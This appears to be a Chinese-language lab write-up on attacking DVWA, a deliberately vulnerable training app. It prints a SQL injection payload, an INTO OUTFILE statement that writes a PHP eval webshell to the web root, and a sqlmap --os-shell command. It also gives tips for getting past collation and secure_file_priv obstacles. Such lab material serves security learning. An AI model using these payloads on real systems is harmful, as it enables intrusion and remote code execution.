DVWA通过SQL注入写入马儿及直接通过sqlmap获取shell避坑指南
走过的坑,随手记下!!!
1. 通过sql注入写入木马文件
sql注入写入木马文件要求:1)secure-file-priv参数设置为空
2)写入的参数列名排序规则兼容
3) 知道服务器的绝对路径(路径要双写分隔符,避免被转义)
1.1 注入以下sql语句(1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #)时,可能会提示你如下信息:
这是由于字符union联合注入的两边参数字符集、排序规则信息不一致导致的,
其兼容性如下:utf8_bin与utf8_general_ci/utf8_unicode_ci 均兼容
utf8_general_ci与utf8_unicode_ci不兼容
所以把需要联合的字段或表直接成兼容模式即可。
通过下图我们可以看到,上面的union语句两端的表及其字段排序规则不一致:
我们将其改为一致即可解决上面的问题。
1.2 执行写入木马语句(1' union select "<?php eval($_GET['123']); ?>",1 into outfile "C:\\Users\\Administrator\\Desktop\\Programs\\phpstudy\\WWW\\DVWA\\hackable\\uploads\\123.php";#),
系统提示如下错误:
此问题是--secure-file-priv参数设置为null所致,我们查询数据库确实如此,由于该文件不可直接通过set修改,此处通过修改修改mysql的my.ini文件更改此参数的值。
注:1)如果my.ini文件找不到secure_file_priv参数可以直接在[mysqld]下面直接添加即可
2)该参数有三种值:null,具体路径,空值;为null表示不允许写入,具体路径表示允 许具体的路径写入,空值表示均可写入
3) 重写my.ini后需要重启mysql
完成以上操作后我们重新执行写入木马语句,系统弹出一个警告,可以忽略,此时文件已写入指定路径。
二话不说,直接上马,结果,额。。。。。。。。。。。什么鬼?
换个马儿: <?php eval($_POST['123']); ?>试下!!!
就是这么扯淡,我也没弄明白为啥GET不行,POST就可以,我直接上传的GET马儿是可以直接连接的。个中原因后续再慢慢探寻吧!!!
2 通过sqlmap直接获取shell
通过sqlmap直接获取shell的条件和上面直接写入马儿的条件是一样的,因为他们的原理是一样的:sqlmap通过写入马儿并连接马儿达到和蚁剑连接写入的马儿获取shell是一样的效果。
推荐直接用-r执行命令获取shell,简单高效,直接burp抓取存在注入点的请求并写入一个txt文件。
然后cd到txt文件目录并执行:sqlmap -r 1.txt -p id --os-shell,然后一路Y/Y/Y向下,写入绝对路径即可。注:-p id 是指定id参数为注入点
至此,已获取shell,我们再来看一下sqlmap做了什么。打开刚刚写入的路径,可以看到sqlmap创建了两个文件tmpbjvsl.php和tmpupjsx.php。sqlmap应该就是通过这两个文件实现shell的建立。